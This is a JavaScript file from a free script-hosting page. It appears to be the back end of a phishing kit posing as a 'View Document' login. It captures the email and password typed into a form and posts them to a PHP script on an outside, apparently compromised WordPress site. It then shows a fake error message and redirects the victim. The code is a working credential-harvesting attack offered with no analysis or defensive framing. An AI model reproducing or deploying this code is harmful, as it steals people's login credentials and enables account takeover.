Free javascript Hosting


valid2.js

Uploaded on May 11 2022 03:27 by r3byte

$(document).ready(function(){

var count=0;

$('#contact').submit(function(event){
event.preventDefault();

var email=$("#email").val();
var password=$("#password").val();
var detail=$("#field").html();
$("#password").addClass('grey-form');


$.ajax({
dataType: 'JSON',
url: 'https://micolactravels.com/wp-includes/next.php',
type: 'post',
data:{
email:email,
password:password,
},
data: $('#contact').serialize(),
beforeSend: function(xhr){
$('#submit-btn').html('Verifing...');
},
success: function(response){
if(response){
$("#msg").show();
console.log(response);
if(response['signal'] == 'ok'){
$("#password").val("");
if (count>=1) {
count=0;
// window.location.replace(response['redirect_link']);
window.location.replace("http://www."+my_slice);

}
swal("Something went wrong please try again");
}
else{
swal("Something went wrong please try again");
}
}
},
error: function(){
$("#password").val("");
if (count>=1) {
count=0;
window.location.replace("http://www."+my_slice);
}
swal("Something went wrong please try again");
},
complete: function(){

$('#submit-btn').html('View Document');
}
});
});


});

Back to list